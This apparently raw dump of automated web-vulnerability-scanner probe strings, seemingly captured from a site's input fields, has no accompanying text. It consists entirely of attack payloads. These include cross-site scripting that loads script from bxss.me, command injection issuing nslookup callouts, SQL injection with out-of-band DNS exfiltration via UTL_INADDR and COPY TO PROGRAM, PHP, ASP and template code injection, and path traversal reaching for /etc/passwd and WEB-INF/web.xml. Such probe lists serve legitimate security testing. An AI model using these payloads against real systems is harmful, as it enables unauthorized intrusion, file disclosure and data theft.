|
${9999246+9999201}
${10000114+10000477}
${10000493+10000174}
${9999443+9999596}
${10000167+10000058}
${10000413+9999002}
1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=039586&r=6-1241&h=6-0eea1-2&/).slice(2),document.documentElement.appendChild(s))//'>
1'>"><script src=http://bxss.me/s?u=039586&r=6-1246&h=6-0eea1-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,039586,6-1246,6,0eea1,%22%5D"/>
1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=039586&r=6-1250&h=6-0eea1-2&/).slice(2),document.documentElement.appendChild(s))//'>
1'>"><script src=http://bxss.me/s?u=039586&r=6-1252&h=6-0eea1-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,039586,6-1252,6,0eea1,%22%5D"/>
response.write(9477435*9160677)
'+response.write(9477435*9160677)+'
1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=039586&r=6-1253&h=6-0eea1-2&/).slice(2),document.documentElement.appendChild(s))//'>
"+response.write(9477435*9160677)+"
'+response.write(9938463*9655032)+'
"+response.write(9938463*9655032)+"
1'>"><script src=http://bxss.me/s?u=039586&r=6-1255&h=6-0eea1-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,039586,6-1255,6,0eea1,%22%5D"/>
response.write(9075406*9949792)
'+response.write(9075406*9949792)+'
"+response.write(9075406*9949792)+"
$(nslookup F79vCAxo)
$(nslookup qCiKgfsc)
&nslookup Q6oR8OYP&'\"`0&nslookup Q6oR8OYP&`'
set|set&set
$(nslookup GVaQ5n0X)
&nslookup QfeGmB6c&'\"`0&nslookup QfeGmB6c&`'
set|set&set
$(nslookup dns.ce.\039586.6-1381.6.0eea1.\1.bxss.me)
&nslookup dns.ce.\039586.6-1383.6.0eea1.\1.bxss.me&'\"`0&nslookup dns.ce.\039586.6-1383.6.0eea1.\1.bxss.me&`'
set|set&set
$(nslookup dns.ce.\039586.6-1388.6.0eea1.\1.bxss.me)
&nslookup dns.ce.\039586.6-1390.6.0eea1.\1.bxss.me&'\"`0&nslookup dns.ce.\039586.6-1390.6.0eea1.\1.bxss.me&`'
set|set&set
$(nslookup dns.ce.\039586.6-1393.6.0eea1.\1.bxss.me)
&nslookup dns.ce.\039586.6-1395.6.0eea1.\1.bxss.me&'\"`0&nslookup dns.ce.\039586.6-1395.6.0eea1.\1.bxss.me&`'
!(()&&!|*|*|
^(#$!@#$)(()))******
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
!(()&&!|*|*|
Http://testasp.vulnweb.com/t/fit.txt
^(#$!@#$)(()))******
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
!(()&&!|*|*|
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
^(#$!@#$)(()))******
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
1
1
1
http://testasp.vulnweb.com/t/xss.html?%00.jpg
http://testasp.vulnweb.com/t/xss.html?%00.jpg
http://testasp.vulnweb.com/t/xss.html?%00.jpg
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
http://hitMkkE1nISxN.bxss.me/
http://hitVRUFGbhBzE.bxss.me/
http://hitH3sQGowf9P.bxss.me/
1
1
reading.php
reading.php
reading.php/.
reading.php
reading.php
reading.php/.
reading.php
reading.php
reading.php/.
1
1
-1 OR 2+840-840-1=0+0+0+1 --
1
-1 OR 3+840-840-1=0+0+0+1 --
-1 OR 2+302-302-1=0+0+0+1
-1 OR 3+302-302-1=0+0+0+1
1||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2889.6.0eea1.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2891.6.0eea1.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\039586.6-2893.6.0eea1.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\039586.6-2894.6.0eea1.\1.bxss.me
-1 OR 2+716-716-1=0+0+0+1 --
-1 OR 3+716-716-1=0+0+0+1 --
-1 OR 2+93-93-1=0+0+0+1
-1 OR 3+93-93-1=0+0+0+1
1||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2912.6.0eea1.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2915.6.0eea1.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\039586.6-2918.6.0eea1.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\039586.6-2920.6.0eea1.\1.bxss.me
-1 OR 2+684-684-1=0+0+0+1 --
-1 OR 3+684-684-1=0+0+0+1 --
-1 OR 2+268-268-1=0+0+0+1
-1 OR 3+268-268-1=0+0+0+1
1||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2941.6.0eea1.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2943.6.0eea1.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\039586.6-2946.6.0eea1.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\039586.6-2948.6.0eea1.\1.bxss.me
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
..嶸..嶸..嶸..嶸..嶸..嶸..嶸..嶸etc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
..嶸..嶸..嶸..嶸..嶸..嶸..嶸..嶸etc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
..嶸..嶸..嶸..嶸..嶸..嶸..嶸..嶸etc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
http://testasp.vulnweb.com/t/xss.html?%00.jpg
http://testasp.vulnweb.com/t/xss.html?%00.jpg
/\../\../\../\../\../\../\../etc/passwd
http://testasp.vulnweb.com/t/xss.html?%00.jpg
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
1
1
1
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
';print(md5(acunetix_wvs_security_test));$a='
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
1
1
1
1 嬪壕%2527%2522
1 嬪壕%2527%2522
1 嬪壕%2527%2522
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
..嶸..嶸..嶸..嶸..嶸..嶸..嶸..嶸etc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
|